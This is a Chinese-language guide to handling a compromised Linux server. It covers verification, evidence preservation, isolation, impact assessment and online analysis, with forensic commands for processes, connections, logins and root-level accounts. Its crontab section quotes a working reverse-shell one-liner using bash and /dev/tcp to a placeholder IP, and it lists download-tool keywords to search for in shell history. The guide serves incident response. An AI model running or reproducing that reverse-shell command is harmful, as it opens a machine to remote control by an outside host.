服务器被黑客入侵了怎么办?
遇到服务器被黑,很多人会采用拔网线、封 iptables 或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。
下面我们看一个标准的服务器安全应急影响应该怎么做,也算是笔者从事安全事件应急近 6 年以来的一些经验之谈,借此抛砖引玉,希望大神们不吝赐教~
如上图,将服务器安全应急响应流程分为如下 8 个环节:
· 发现安全事件(核实)
· 现场保护
· 服务器保护
· 影响范围评估
· 在线分析
· 数据备份
· 深入分析
· 事件报告整理
接下来我们将每个环节分解,看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。
核实信息(运维/安全人员)
根据安全事件通知源的不同,分为两种:
外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的 SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。
自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。
现场保护(运维)
我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、保存现场原状。
同样道理,安全事件发生现场,跟刑事案件发生现场一样,需要保存第一现场重要信息,方便后面入侵检测和取证。
保存现场环境(截图)
相关信息采集命令如下:
· 进程信息:ps axu
· 网络信息:netstat –a
· 网络+进程:lsof / netstat -p
攻击者登陆情况(截图)
相关信息采集命令如下:
· 查看当前登录用户:w 或 who -a
服务器保护(运维/机房)
这里的现场保护和服务器保护是两个不同的环节,前者注重取证,后者注重环境隔离。
核实机器被入侵后,应当尽快将机器保护起来,避免被二次入侵或者当成跳板扩大攻击面。
此时,为保护服务器和业务,避免服务器被攻击者继续利用,应尽快迁移业务,立即下线机器。
如果不能立即处理,应当通过配置网络 ACL 等方式,封掉该服务器对网络的双向连接。
影响范围评估(运维/开发)
一般是运维或者程序确认影响范围,需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露,如果是代码或者数据库泄露了,则需要程序评估危害情况与处置方法。
影响访问评估一般从下面几点来入手:
· 具体业务架构:Web(PHP/Java, WebServer), Proxy, DB等。
· IP 及所处区域拓扑等:VLAN 内服务器和应用情况。
· 确定同一网络下面服务器之间的访问:可以互相登陆,是否需要 Key 或者是密码登录。
由此确定检查影响范围,确认所有受到影响的网段和机器。
在线分析(安全人员/运维)
这时需要根据个人经验快速在线分析,一般是安全人员和运维同时在线处理,不过会涉及多人协作的问题,需要避免多人操作机器时破坏服务器现场,造成分析困扰。
之前笔者遇到一个类似的问题,就是运维排查时敲错了 iptables 的命令,将 iptables -L 敲成 iptables -i 导致 iptables-save 时出现异常记录,结果安全人员上来检查时就被这条记录迷惑了,导致处理思路受到一定干扰。
所有用户 History 日志检测
· 关键字:wget/curl, gcc, 或者隐藏文件, 敏感文件后缀(.c,.py,conf, .pl, .sh)。
· 检查是否存在异常用户。
· 检查最近添加的用户,是否有不知名用户或不规范提权。
· 找出 root 权限的用户。
可以执行以下命令检查:
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
反连木马判断
· netstat –a
· 注意非正常端口的外网 IP
可疑进程判断
· 判断是否为木马 ps –aux
· 重点关注文件(隐藏文件), Python脚本,Perl脚本,Shell 脚本(bash/sh/zsh)。
· 使用 which,whereis,find 定位。
Crontab 检测
不要用 crontab –l 查看 crontab(绕过检测),也有通过写 crontab 配置文件反弹Shell 的,笔者接触过几次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。